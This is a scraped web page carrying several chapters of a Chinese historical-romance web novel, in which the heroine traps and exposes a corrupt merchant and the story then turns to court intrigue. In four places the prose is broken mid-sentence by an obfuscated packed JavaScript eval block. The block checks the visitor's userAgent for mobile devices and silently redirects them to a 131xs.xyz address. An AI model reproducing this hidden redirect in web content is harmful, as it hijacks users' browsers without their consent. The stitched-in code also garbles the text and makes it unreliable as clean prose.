d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070836|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经推动轮椅来到桌边，提起茶壶倒了杯茶，听到这句话后淡淡看了她一眼，平静地说：“是。” 他将这盏温热的茶推到她面前：“喝了，醒酒。” 姜晚没有碰，扫了一眼案上书册，又抬眼认真地看着他：“你想重新站起来？” 话音落下的瞬间，屋内的氛围瞬间如坠冰窟，静得落针可闻。 姜晚仍自顾自地道：“你也希望有朝一日能重回战场吧？不然看这些兵书做什么？” 萧砚握着茶壶的手猛然一顿，霎时间，卑伤、恼怒、羞耻、难堪……所有被他死死压住的情绪都随着姜晚的这番话一齐涌上心头。 他闭上眼睛，长睫剧烈颤动，仿佛在努力压抑翻涌的各种情绪。 再睁眼时，他眸光骤冷：“周叔。” 他声音低沉，呼吸紊乱颤抖，一字一句像是从齿缝中挤出：“送她回去。” 姜晚走得太快，周叔一路小跑好不容易才跟上来，来到廊下时还没喘几口气，又听到萧砚冷肃的命令，一刻也不敢耽搁，连忙快步上前扶姜晚： “夫人，夜深了，老奴送您回去。” “欸？”姜晚看着他的背影，似乎有些疑惑，“我还没说完……” 萧砚没有回头，周叔则叹了口气： “夫人还是先回去吧……” 陈旧的门扉重重阖上，萧砚的身影随着门缝逐渐变窄，一点一点在目光中消失，最后隐没于深沉的阴影中。 姜晚没有再过多纠缠，因为她也已经醉意上头到极限了，连自己怎么回的房间都记不得，回去后沾到枕头便沉沉睡去，什么都没想，一夜无梦。 当第二天早晨醒来时，只觉得头疼欲裂，脑瓜子嗡嗡作响，昨晚的记忆碎片争先恐后地迅速在脑海中闪回，一点点变清晰。 姜晚断断续续地想起昨晚都干了什么事，当零碎的记忆片段拼凑成完整的画面时，她愣在原地，忍不住脚趾扣地，又尴尬地抓挠着头发。 老天，她都干了什么蠢事，说了什么蠢话啊！ 她怎么可以说出这么戳心窝子的话，这不就相当于在人家伤口上撒盐，还嫌不够又狠狠踹了一脚吗？ 想起昨夜萧砚骤变的脸色，心里像被堵住一样憋闷，不只是尴尬，更多的是懊悔。 酒色误人，真是酒色误人！姜晚决定，自今日起，戒酒！ 姜晚虽然崩溃了，但也只崩溃了很短的时间——因为自拿下玉门古道后，西域的商道便日渐繁盛，堆积如山的事务早已堆积在案头，瞬间淹没了她的思绪，将这份浓烈的尴尬和懊恼勉强压在内心深处，让她暂时无暇深究。 这条商路本是为了惠及北境百姓，但当大晟的其他地区得知其中利好之后，纷纷闻风而来，想要分得一杯羹，哪怕是曾经依附于蔡子兼的商户也暗自改换门庭，悄悄送上合作意向。 这一日，负责传递消息，充当双面间谍的钱有财终于送来了蔡子兼的消息。 当姜晚正在核查账册时，钱有财低声禀报道： “夫人，蔡子兼听闻北境与西域贸易兴盛，终于坐不住了。” 23.奸商 江南湖水碧波荡漾，哪怕冬日时节，湖面依旧氤氲着一层薄雾。 湖心处，一艘三层画舫极尽奢华，舫内瑞脑金兽幽幽吐烟，几名歌舞乐伎正奏着宴乐。一位身着绸缎华服中年男子斜倚绒毯，吊梢眼中映出商人独有的精明。 一个褐衣小厮匆匆掀帘入室，低眉俯首道：“主子，金陵薛家今早派人来，说今年的漕运契约不续了，姑苏沈家也把两万匹丝绸订单收了回去，就连蜀中茶马帮也亲自前来，说今后的茶叶生意……” 小厮说到此处顿了下，瞥了眼那人的神情，所幸他脸色变化不大。 “说下去。” “说今后的茶叶生意都转交于北境。” 小厮的声音逐渐降低：“这个月以来，前前后后有七家大商行都表态，与……与咱们江南商会不再来往。” 啪！ 白瓷茶盏砸地，碎片四溅，将乐伎吓了个激灵，纷纷退到角落。 “北境？”榻上的人倏然直起身子，“北境那穷酸地，连条像样的商路都没有，哪来的门路做生意！” “禀主子！” 一个胖胖的身影闻声掀帘而入，小跑进来。 正是钱有财。 “主子别动怒，伤了身子可不值当，”他俯身捡起地上的白瓷碎片，脸上依旧堆满谄媚，“小的在北境略有耳闻，说是北境打通了与西域的商道，现下莫说是江南的商户，就连岭南的海商，都设法想往北境赶呢。” 那人哼了一声，似乎并不相信： “那帮胡人的隘口是摆设吗？” “听说侯夫人不知用了什么法子，竟让隘口的胡人退了回去。” “又是建工坊，又是通商道……”那人喉间溢出一声不屑的嗤笑，“平昌侯的那位金枝玉叶，不是一向娇贵，肩不能扛手不能提吗？怎么突然这般能耐，竟能搅动起这般风云来。” 钱有财眼光一转：“这……这小的也不知情，只知道现下那位夫人掌控着西域商道，听说现在北境日税万金，有些商户争得头破血流都分不到一杯羹呢。” 这话让那双精明的吊梢眼顿时放红，露出贪婪的凶光。 西域通商的巨大利润搔得人心痒难耐，他烦躁地滚动指间的翡翠扳指，又似乎在顾忌什么，生生压下心中躁动。 “一个妇道人家，懂得怎么做生意么？” “可不是嘛，”钱有财立刻接茬，按照姜晚教给他的话附和道，“要论经商之道，整个大晟有谁能比得过主子？凭主子的手段，这商道要是在您手上，甭说日税万两，就是百万那也是天经地义、理所应当的事！” 钱有财这番话绘声绘色，只是听他的描述，便仿佛有无数金银铺在他面前，晃得人眼花缭乱。 “备车！” 权衡片刻，他终于站起身，原本还有疑虑的眼睛此刻目光灼亮地盯向北方。 “我倒要去北境瞧瞧，那个姜晚究竟有什么手段。” —— 晨光熹微时，寒露未散，一辆简朴低调的四驾马车出现在城外小路上。刚到城门，便被守卫依律拦下核验身份。 “名字！” 马车里沉默片刻，随后传出一个声音：“魏铭。” “把脸露出来！” 车内的人没有动作。 守卫等得不耐烦，径直掀起车帘，看了看车中略微发福的脸，又对照手上画像那张瘦削的面容看了看，随即摆手让马车进了城。 马车行驶在熙熙攘攘的大街上，鼎沸人声传入耳中，车中人撩开车帘一角，漫不经心地往外瞥了一眼。 如今的北境，早已不是记忆中萧瑟贫瘠的模样。 街市比从前宽敞整齐许多，两侧比往日多了两倍的摊贩，城郊的菜农趁着晨光挑来多余菜蔬来叫卖，翠叶根茎上挂着新鲜的晨露和湿泥。车中的人定睛一看，竟是他从未见过的作物。 来来往往的百姓中混杂不少高鼻深目的西域商人，他们牵着载满货物的骆驼，用拗口的官话讨价还价，声声驼铃在街巷里回荡。 马车中，那个自称为魏铭的人见此安定和乐的情景，不禁轻嗤一声翻了个白眼，而后迅速掩上车帘。 不多时，这辆远道而来的陌生马车穿过车水马龙的街道，稳稳地停在北境商会门前，引起百姓围观议论。 他理了理衣袖上的褶皱，迈步下车，神色中有掩饰不住的倨傲。 阶前候着一位身穿翠竹色衣裙的侍女翠儿，见他下车，立刻迎上来福身行礼：“是魏老板吧，夫人听闻魏老板要来，特意在前厅侯着，快请随我来。” 北境商会是新建的院落，处处透着利落。转过影壁时，头顶木梁上的机关轻轻滑动，竟能自动点亮廊下灯笼。 魏铭跟随翠儿穿过回廊，很快来到前厅。 厅中主位上，姜晚一身红色缠枝纹裙，虽未施粉黛，素白的面容却在朱红的映照下更显昳丽。 魏铭见状，拱手作揖：“魏某拜见夫人。” 两人一来一往寒暄一番后，姜晚并不废话。 她收起笑意，当即换上一副认真的神色：“闲话少说，魏老板不远万里从江南来我北境，想必也不是来游山玩水的吧？” “夫人真是明白人！”魏铭道，“早就听闻北境与西域的往来日益兴盛，所以特意赶来，想与夫人合作，共谋商道。” 姜晚看向他，语气带有疑惑：“合作？” 魏铭颔首：“久闻夫人手段过人，将北境商市打理得井井有条。我经营江南商会多年，愿以江南全部商路渠道相托，与夫人合力经营，定能上让北境这条商道更繁盛。不知夫人意下如何？” 听到这话，姜晚眉宇间流露出些微哀愁：“眼下北境商道确实利率颇丰，可是……” 魏铭敏锐注意她的变化，故作关切地追问：“夫人为何事忧愁？” “龟兹商队前几日开口就要丝绸一万匹。” 一万！ 这个数字让他目瞪口呆，嫉妒得牙痒痒，险些绷不住脸上镇定的神色。 “五千匹丝绸的数目，对江南大织坊而言都是笔大单子，莫非夫人还嫌少？” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086988|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魏老板有所不知，我不是嫌少，”姜晚苦笑摇头，“北境气候不宜，桑蚕难养，独独缺丝。而诸多货品中，又属丝织绸缎需求量最大，纵然有姑苏沈家的货源支持，也是杯水车薪，供不应求。” 姜晚叹了口气：“龟兹这笔订单，恐怕很难交付。眼看真金白银从指缝里流走，我怎能不忧愁？” “同是生意人，魏老板应该能理解我的忧心之处。” 姜晚话音刚落，魏铭心中已经喜出望外，但依旧维持表面镇定： “那夫人可找对人了。” 姜晚眼眸倏然亮了，仿佛于穷途末路之中乍然见到曙光： “魏老板有法可解？” 瞧见姜晚眼中遮挡不住的焦急迫切，他心中暗喜。 鱼儿果然上钩了！ “我在江南的织造局年产云锦三千匹，素缎可达八千匹，应付龟兹的胃口绰绰有余。不知夫人是否愿意与我合作，共经这条商路？” 姜晚思索一瞬，立刻点头答应：“如此甚好！不过龟兹那边催得紧，所以恕我不能给魏老板太多宽绰的时间，最多只能给您一个月的货期。” 魏铭露出胸有成竹的笑：“夫人放心，一个月够了！” 姜晚点点头，而后熟稔地从案上取过一份叠好契书，徐徐展开后推倒他面前：“这是契约，请魏老板过目，若是没问题，便可签字画押。” 魏铭接过，一目十行地扫过契书，一行醒目的朱批抓住他的视线。 “违约金？二百万两？！” 庞大的数字让魏铭心头一跳。 “上月济州有个商户误了交货期，”姜晚见状轻叹一声，向他解释道，“那次害我赔了龟兹商队双倍定金，现在不得已才出此下策，魏老板莫要见怪。” 她语气一转，放松了些：“不过，这违约金数目虽大，但只要按时交货，也不过是纸上虚文。” 魏铭在心中暗自思量。 金陵薛氏才跟他断了契约，那边的漕运是走不通了，但还有潮河漕运可以走。而且潮河漕运比旧时漕运要快一倍，何愁送不到？违约金再高，说到底是给违约者设的，与他不违约的何干？ “夫人多虑了，”魏铭朗声一笑，“我魏铭在大晟商界混了二十余载，从不曾违约。” ”那就好。”待魏铭签完契约后，姜晚“啪”一声合上契书，脸上笑容明媚。 “合作愉快，魏老板。” 看着姜晚的笑意，魏铭心中暗嗤。 什么手段过人，也不过是个好哄易骗的闺阁女子罢了。 —— 从北境商会回来后，他并未在外面多做逗留，而是直接住进预先定好的客栈。 一进客房，他便屏退随从，立刻唤来心腹，低声吩咐去打探商道各项交易情况。 他不敢在外面待太长时间，哪怕他改名换姓，改头换面，可终究怕被人认出底细。 毕竟他当年是因罪被处死的蔡子邕的兄长蔡子兼，这些年一直隐姓埋名。好在世事变迁，这么多年过去了，北境没几个人能认出他来。 24.收网 与姜晚签订合作契约不久，魏铭当即遣飞书送信回织造局，命人即刻筹划丝绸运输。 将心腹派去打探市情后，他便在客栈中坐立难安，等得心急如焚，若不是顾忌身份暴露，他恨不得亲自去市集探查。 三日后，门外响起三长两短的叩门声。 魏铭小心翼翼地打开一条缝隙，待看清是回来复命的心腹管事，这才将人拽进来。 “回主子，小的调查过了，如今北境市场上的生意，属香料最为红火。西域运来的香料稀缺，市面上的香料都成了稀罕物，不少人都靠这门生意发了大财！” 听了这话，魏铭心中暗自盘算，他如今能取得这般成绩，靠的就是在江南先垄断丝绸价，而后再一点一点垄断蚕食余下的商路。 现在，北境的香料生意，正好可以做这个突破口。 魏铭大手一挥：“你去查查库存还有多少银子，能动用的都拿出来，将市面上的香料统统买下。” 心腹领命而去。 窗外，商人热络的吆喝声传入房中，魏铭走到窗边，看着街道上的商铺一个个都悬挂带有北境商会徽记的招牌，脸上浮现冷笑。 对于如何垄断此方市场，他早已在心中打好算盘。先是香料，再是药材皮毛……最后逼得北境商户不得不依附自己，便可以一步步瓦解姜晚对北境商路的掌控。 合作？ 魏铭不屑一顾。 不过是权宜之计，这北境的商路，迟早该跟他姓。 接下来的几日，魏铭吩咐手底下的人扮作各地商贩，分散到市集上的大小香料铺，不问价格只管扫货，将市面上还在出售的香料尽数收入囊中。 待市面上香料货源断绝，他便派人不急不缓地将所囤香料拿到集市上出售，还将价格直接翻了三倍之多，并且限量放货，每日只放出极少的香料，吊足人们的胃口。 百姓虽怨声道载，但因魏铭已经将市面上的香料存货一扫而空，他们无处可买，只能咬牙花冤枉钱来魏铭的铺子这里排长队。 如此低价买入高价售出，再加上限量放货，入账白银如流水，在库房内堆成小山。 这几日魏铭赚得盆满钵满，脸上噙满志在必得的笑，仿佛北境商路已然唾手可得。 他正打算如法炮制，将手再伸到其他行当中时，不料变故悄然而至。 香料铺子的生意只兴隆了几日，没过多久，管事的便来禀报入账的银子日渐稀疏，接着在铺子前排队的人也越来越少，最后竟落得个门可罗雀的境地，连问价的人影都看不见。 魏铭心中不解，派人一打听才知，客人竟都被一位女商人引去了。 “一派胡言！”魏铭拍案而起，难以置信，“市面上的货源都被我们垄断，她哪来的货！” 手下人吓得双腿一软，战战兢兢地回道：“那女商不知哪来的门路，竟寻得大批香料原材，还改良了加工法子，几日间产量大增。如今市集上的胡椒，一斗才卖三十文！” “三十文？”魏铭牙齿咬得咯咯响，“前天还是一两银子！” 手下人不敢作声，只瞧见自己主子眼中的怒火暴涨。 自此，香料的价格像断了线的风筝，急转直下。魏铭连忙将囤货降价抛售，试图降低损失。可不管他如何压价，对方始终压着他打。 不出旬日，魏铭最后囤积的香料始终卖不出去，算是烂在了手里。 香料的路走不成，他又转投别的生意，可同样的戏码再次上演。 生意在最初几日蒸蒸日上，多日后便价格崩盘，和香料遭遇的情况如出一辙，无一例外。 魏铭的生意彻底失败，亏了个底朝天，他瘫坐在客房内，看着账册上鲜红的赤字，一股寒意漫上心头。 这些离奇的变故，仿佛北境的市集有一双无形的手在暗中操控。他的每一步都被精准预料，不管他涉足北境商路上的哪门生意，都会血本无归。 魏铭叹了口气，幸好他及时收手，虽亏了些钱，但还有周转的余地。而且运送丝绸的商船还有三日便到，到时凭着契约里的利润，好歹能把亏空补上。 “主子，不好了！” 门外响起急促的脚步声，房门“啪”的一声撞开，一名手下慌慌张张地冲房内，脸色惨白： “我们的商船在经过潮河县的时候，被守卫扣下来了！” “什么？！” 商船被扣的消息蒙头打来，魏铭猛地站起身，顿感眼冒金星，踉跄着扶住桌沿才能勉强站稳。 商船从织造局出发时一路顺风，水路上从未出过岔子，怎么独独到潮河县时，就出了变故？！ 他揉了揉额角，微定心神：“……之前潮河漕运从不私扣船只，这次是怎么回事？过路费给够了吗？” 手下答道：“听守卫的说，是上头知县下达的命令，说近期来往商户较多，为防止有走私违禁之物，必须严查过往商船，一艘都不能漏。” “何时能查验完毕？” 姜晚定的期限在五日后，潮河县距离此地不远，左右不过两日路程。若是能在三日内查完，紧赶慢赶也是能送到的。 “守卫的说什么时候检查完，什么时候放行。近日往来商队较多，轮到我们的商队……”手下嗫嚅着，“大概要……十日。” 十日！ 魏铭只觉得天旋地转，耳膜嗡嗡作响，手下的话像记重锤，彻底打破了他的幻想。 他自诩沉浮商海二十余载，从未失手，没想到还是栽在了北境。 二百万两…… 如此庞大的数额几乎要掏空他的家底，赔是不可能赔的，魏铭索性先暂时放过北境这块肥肉，等日后卷土重来再做计较。 于是，趁着黎明之时万籁俱寂，一辆不起眼的马车悄悄驶出客栈，一路疾驰驶向北境边卡。 “快些！再快！” 魏铭撩开马车前帘催促道，紧紧盯着前方矗立在晨雾中的关卡，哨楼上的火把微光摇曳。 只要过了这道关卡，出了北境，管她多少违约金，江南茫茫人海的，根本找不到他。 哨楼上的那一点火光越来越近，希望的曙光便在前方。就在此时，一道冷厉的喝声突然从后方传来。 “勒马！” 马车倏然一顿，魏铭慌了神，探身冲车夫吼道：“别听她的！继续走！离了北境，我赏你一百金！” 话音刚落，马车便被策马而来的官兵团团围住。车夫猛勒缰绳，车轮在地上磨出刺耳的剐蹭声，魏铭猝不及防，差点被甩出车外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092011|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为首的人端坐马上，一身玄衣，眉眼凌冽，正是李绍英。她微微招手，左右立刻上前将惊魂未定的魏铭从马车中拖出。 “放开我！” 魏铭挣扎着嘶吼道。 “你们凭什么抓我！” 无人回答，魏铭的双手反绑于身后，两名官兵一左一右紧紧按住他的肩膀，迫使他跪于地上。 魏铭抬头看向李绍英：“我一没杀人，二没放火！生意上的纠纷我赔钱便是！你先放我走！等我回去拿了钱就补齐！” 李绍英勒紧缰绳，马蹄在地上重重一踏，语气冰寒：“你还想装到什么时候，蔡子兼。” “蔡子兼”三个字如同高悬的利剑终于落下，隐瞒多年的秘密被揭开，他浑身战栗，脸上瞬间惨白如纸。 “你若真的只是欠了违约金，我又何必如此大费周章。” 一道熟悉的声音从人群中传出，姜晚一身烟青色长衫，从围拢着的官兵中缓缓走出。 看到姜晚的瞬间，他立刻恍然大悟，一切谜团都迎刃而解，立刻咬牙切齿道：“原来……都是你们计划好的！” 不论市价暴跌，还是商船被扣，都是姜晚计划好的！ 听到这话，姜晚微微颔首，嘴角含笑，仿佛对他终于发现真相感到欣慰：“不然哪来的时间，去搜集蔡老板的罪证呢？” 随后，她轻轻抚掌道：“钱有财。” 话音一落，一个矮胖的身影从官兵队列中走出，双手捧着一沓绢布，快步上前呈给姜晚。 蔡子兼定睛一看，那垂眸敛目的身影，不就是钱有财吗？ 钱有财始终低垂着头，丝毫不敢抬头看一眼这位“前东家”。 见到钱有财居然临阵倒戈，蔡子兼顿时目眦欲裂，气得浑身发抖。 “钱有财……你这吃里扒外的东西！” 姜晚慢条斯理地展开绢布，打断他的怒吼： “永安二年，你囤积食米，恰逢江南大旱时高价抛售，饿死百姓不计其数。” “永安三年，你勾结税吏，伪造商引私贩官盐，致使十余家正经盐商被诬陷抄家。” “前年秋，你在蜀地垄断蜀锦货源，逼得七家老字号织坊破产，坊主不堪重负上吊自裁……” 几尺长的绢布在蔡子兼面前徐徐展开，上面密密麻麻写着一个个受害商户的名字，每个名字旁都有一枚朱色指印，鲜红刺目，像是一双双泣血的眼睛。 铁证如山，所有辩驳都苍白无力。面对密密麻麻的姓名与指印，蔡子兼纵然长了一百张嘴，也无力反驳。 姜晚对官兵道：“关起来，好好看着，待卷宗备齐，不日便押解回京。” 因他所犯罪行涉及大晟各地，牵扯甚广，地方官府已难断全局。依律，需遣往京师，交由刑部与大理寺共同裁决发落。 在遣去京师前，蔡子兼被暂时关押在军牢内。牢中阴暗潮湿，他绝望地蜷缩在腐烂的草垛上，万念俱灰。 忽然，黑暗中传来一个极轻的脚步声，一个黑影走了过来。 蔡子兼看到这个影子就像见到了救星，他连滚带爬地扑到牢房边，低声哀求道： “是大人派你来的对不对？快！你快去告诉大人！救救我！我什么都愿意做！” 25.余波 听到蔡子兼带着哭腔的求救，那人似乎是听到了极好笑的事，发出一声嘲弄的低笑。 “看在你从前做事也算尽心的份上，大人同意保全你在江南的家眷。” 蔡子兼忙不迭地叩首：“谢大人开恩！” “至于救你？” 那人缓缓蹲下身来，居高临下地俯视跪趴在地上的蔡子兼：“你不听大人所言，私自跑来北境，将大人的布局搅得一塌糊涂，还有脸让大人救你？” 蔡子兼声音发抖：“你去告诉大人，就说我知道错了……是我鬼迷心窍！以后我定然唯大人马首是瞻！绝不敢忤逆半分！只要……只要大人能通融通融刑部，把这桩案子压下去，我就能——” “刑部？” 他话还没说完，便被厉声打断。 “你以为你惹出来的事端，是刑部压下去就能了结的？你的所作所为牵扯甚广，百姓的联名诉状已被送到圣上的御案上。从前大人看你尚且可用才救了你一次，没想到你和你那个蠢兄弟一样，不长记性！这次你惹出的乱子，只能你自己担着。” 蔡子兼还想继续哀求，企图挽回一丝转圜的余地，那人却已站起身。 他最后看了牢中的蔡子兼一眼，而后毫不留情地转身向外走去，抛给他最后一句话，语气冰冷： “别忘了管住自己的嘴，到了京城，什么该说，什么不该说，你自己清楚。若是敢泄露半个字，别说你在江南的家眷，就连蔡家满门，都要给你陪葬。” 蔡子兼僵在原地，识趣地点了点头，他知道这已是最大的让步，他不能再奢求更多了。 那位大人从不是心慈手软之辈。 卷宗备齐后，不出五日，一队腰佩长刀的衙役便将蔡子兼顺利押解回京师。 经刑部和大理寺审查，蔡子兼扰乱商道、勾结税吏、戕害百姓等罪名板上钉钉，蔡子兼被判处死刑以儆效尤，家中所有财产及产业尽数抄家充公。 或许是朝中有人暗中周旋，此事并未累及蔡子兼的家人，蔡氏一族性命得以保全。 据说抄家整整持续了三日，偌大的府邸被抄了个底朝天，曾经的富贵云烟地，如今只剩一片狼藉。 彼时，百姓联名诉状是和北境边务事疏一起递到皇帝眼皮下的。 重檐庑殿上，金漆雕龙柱巍峨矗立。晏淮端坐上首，赭黄龙袍秀满金螭纹，金丝绣线在光下熠熠生辉。 他将奏疏翻看完毕后，凤目微挑，眉眼间虽有连日批阅奏章的疲乏，仍掩不住一身雍贵凌厉之色。 众臣屏息凝神，敛目垂首，近日官商勾结的事端让他们本就战战兢兢。 陛下虽有旨意要肃清朝廷，可真正执行下来确是雷声大雨点小，没有动真格。即便如此殿中依旧气氛凝重，每个人都感觉如履薄冰。 此时，忽而听到龙椅上轻笑一声，众臣瞬间紧绷脊背。 “平昌侯，你真是养了个好女儿啊。” 平昌侯姜延一个激灵，手持笏板匆匆出列，躬身垂首道： “陛下谬赞，臣女顽劣，不过是仗着幼时看些杂书学了些皮毛，在北境胡乱折腾罢了，实在上不得台面，怎敢当陛下如此夸赞。” 事实上，连他这个当爹的都不明白，那个顶替他亲女的姜晚分明百无一能，怎么一出京城就像脱胎换骨一般，竟能闹出惊动圣听的动静。 姜延额上渗出细汗，沿鬓角缓缓滑落。 陛下这话听起来是嘉奖，可语调中的深意却让人忍不住深思。 究竟是真心赞她在北境有功，还是嫌她一介女流，却对政务插手过多，僭越朝纲？ 他微微抬眸，试图从上首那人脸上捕捉些许情绪，却见晏淮神情莫测，是喜是怒谁都不得而知。 “爱卿何必如此谦虚？”那声音忽然温和了几分，“令爱有如此之才，实乃我大晟幸事。” 姜延正欲再说些颂圣谦辞搪塞过去，却听他话锋一转：“只是在京城的这几载，朕竟不知你府中竟藏着这般人物，莫不是故意藏着掖着，不肯让这等人才为国效力？” 姜延心头一紧。 不曾想，话音刚落，殿内便炸开声： “陛下不可啊！” “女子岂能为官？！此风绝不可长！” 更有言官按耐不住，要弹劾定北侯放权于一介女子，有违章法，罔顾朝纲。 一时间，满朝文武皆急声劝谏，唯有上首那人眉眼沉静，将下首百官失态之状尽览无余，好似对这般光景并不意外。 直到殿中人声渐息，他才悠悠开口： “众爱卿，急什么？” 话音不高，却自带威严，瞬间压住殿中余下的杂音。 他眉眼弯弯，尽显温润谦和之色，仿佛刚才的一番言语，只是给群臣开了个寻常的玩笑： “朕不过是夸夸平昌侯教女有方罢了，何必如此大惊小怪？” “陛下圣明！” 群臣这才如蒙大赦，脸上纷纷露出汗颜之色，连忙用衣袖拭去额间因竭力进言而沁出的细汗，可心中仍惴惴不安。 他们本以为送走了前朝昏庸无道的暴主，总算迎来励精图治的明君，能盼望个太平盛世。 没想到这位新君心思难测，行事乖张难揣摩，比起前朝那位喜怒形于色的暴君，更让人琢磨不透。 看着众人都安静下来，又变回了谨小慎微的样子，晏淮顿感无趣，便抬了抬手： “今日议事暂到此处，有事禀奏，无事退朝。” 这时，一位身着青色官袍的御史出列道：“陛下，胡人在边境仍虎视眈眈，近来商道复通后，北境与西域商户来往甚密，其间鱼龙混杂。若是不加防范，恐有细作趁机混入关内，危害边防。臣恳请陛下加强北境戒备，严查北境往来商旅。” “哦？” 晏淮慢悠悠地应了一声，思量片刻才继续道：“爱卿此言着实有理，那便交由兵部尚书与北境边镇巡抚协同去办吧。” —— 与蔡氏颓势相反的，是北境的一片向好。 经玉门一役，胡人不似从前那般猖狂，至少在搞懂那些冒火的家伙到底是什么之前，他们不会轻易出手。 没有蔡子兼的把持，大晟各商道重新焕发活力。曾经饱受垄断压迫的商人，如今终于能放开手脚经营，各路商道重新热闹起来。 江南商会作为大晟首屈一指的商会，与京中有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102195|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不少商业往来，在失去蔡子兼这个掌舵人后短暂动荡了一段时日。 好在钱有财先前联合受害百姓及商户检举蔡子兼有功，又在姜晚的建议下于乱局中主动维持商会运转，众人便推举他暂时充当商会主事之职。 骤然接手商会大小事务，连京中的盘根错节的生意往来都要经自己之手，钱有财一时受宠若惊。在离开北境去往江南上任前，他不忘姜晚的提点，临行前一把鼻涕一把泪地保证： “多谢夫人提点之恩！我钱有财以后定当为夫人肝脑涂地，万死不辞！” 姜晚语重心长：“行了，没这么严重，你以后踏实些，若是不慎惹出祸来，不把我说出去就很好了。” “夫人放心！小的已经改过自新！以后一定尽力牵头联络北境商户与关内同行，让咱们北境越来越好！” 他絮絮叨叨还想说什么，那边马夫已经不耐烦了，扬声催促道： “钱老板，该走了！再磨蹭天都要黑了！” 钱有财匆忙应了一声“来了”，拖着胖胖的身体爬进马车，临走前还扒着车沿不断挥手： “夫人留步！莫要再送了！” 望着那辆渐行渐远的马车，姜晚揉了揉发疼的耳朵，心里感慨总算送走了。 这时，翠儿走上前来，递过一封印着鎏金火漆的信封：“夫人，平昌侯府来信了。” “平昌侯府？” 姜晚满腹狐疑地接过信笺，语气中透出诧异。 那个平昌侯府，在她来北境这么长时日里都未曾问过她的死活，这回怎么突然记起来北境还有个她了？ 心中好奇那个便宜爹会给她写什么，姜晚迅速拆开信笺匆匆扫了几眼，可是越看眉头越紧。 信中没有寒暄，没有关切，就连最基本的父女问候都没有。开篇便是劈头盖脸的一通质问，斥责她在北境为何如此不守本分，竟引起天家瞩目。字里行间都是要她“谨守本分”“莫要惹事”的训诫，通篇上下都是让她“恪守闺阁规矩”的指责。 临到终了，写信之人似乎才发觉前言过于冷厉，于是换了腔调，苦口婆心地说这都是为她好，让她收敛些，好歹为侯府众人着想。 姜晚在心里翻了个白眼，而后把信折好重新塞给翠儿，语气冷淡。 “烧了。” 翠儿愣了愣，虽有不解但仍然依言应下，默默退了回去。 这封信让姜晚着实感到好笑，她这辈子都不知道能不能回京城，与他们平昌侯府中的人算是老死不相往来的人了，这时装什么父女情深？ 姜晚平复了一下心情，转身登上马车回府。 来到府门前，姜晚掀帘下车时，正巧碰到一名青衫医者提着药箱跨出门槛。 先前每月的这一日，都有随军郎中来为萧砚诊治旧伤。可前不久老郎中楚佑河因年事已高驾鹤西去，如今便由他自幼随军学医的侄子楚桎接手军中医务，自然也接过了为萧砚诊治旧伤的差事。 两人正好打个照面，这名医者拱手对姜晚行了一礼，姜晚则微微颔首示意，算是打过招呼。 正要迈步进门，却听那人突然停下脚步，转身叫住她： “夫人请留步。” 26.梅开 姜晚闻声止步，转身看向阶下的青年人：“楚大夫有事？若是寻常琐事，你该去寻周叔，他主管府中杂事。” 她语气淡如清风，目光在欲言又止的医者身上停留片刻，转身欲走。 “夫人留步！”楚桎连忙追上半步，“斗胆一问，侯爷一向都是这般……讳疾忌医吗？” 姜晚顿住，重新看向楚桎：“讳疾忌医？” 楚桎无奈道：“对，侯爷似乎有意避开提及伤情。方才问诊时多问了几句，侯爷只是随意搪塞了过去不愿多说，似乎不太高兴……” 过往相处的细节在姜晚脑海中一一浮现，先前谈话时，每逢提及伤情，他或是刻意闪躲，或是沉默以对，似乎总是对自己的事情避而不谈。上次上药，若非她凭着几分执拗硬留下，恐怕连他强忍伤痛的模样都看不见。 她原以为是他性子淡漠疏离所致，如今被楚桎点破，方才惊觉那些刻意的沉默与回避，或许真的是讳疾忌医？ 姜晚点了点头：“这么说来确是如此，在府中时，他也从不与人提及自己的伤病。” 楚桎闻言叹了口气，语中充满医者对伤患的担忧： “小叔叔在世时就说，侯爷打心底怕提到这伤，是怕想起从前的事。可总是这般讳疾忌医也不是办法啊，虽说再难站起身，但若是好好诊治，好歹能消减平日的痛苦，夜里也能睡得安稳些。” 